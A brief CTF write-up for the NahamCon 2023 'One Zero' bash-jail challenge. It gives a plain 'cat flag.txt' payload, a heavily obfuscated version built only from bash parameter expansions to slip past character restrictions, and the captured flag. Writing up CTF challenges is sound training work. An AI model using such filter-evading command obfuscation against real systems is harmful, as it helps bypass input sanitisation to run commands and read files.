ctf-writeup/NahamCon CTF 2023/One Zero
yaudahbanh 055f991992 Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00
..
images Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00
README.md Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00

README.md

One Zero

You only get one zero. ;)

How to Solve

To solve this you need bash obfuscate method

Bash Obfuscate Tool

The original payload is bash <<< {cat, flag.txt}

After obfuscate became this

${!#} <<< {$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$((${##}<<$((${##}))^${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))^${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))\\$((${##}<<$((${##}))<<$((${##}))^${##}))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))${#}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',}

flag

flag{81b9de37f5bd218c9f59ac2d9d709bf6}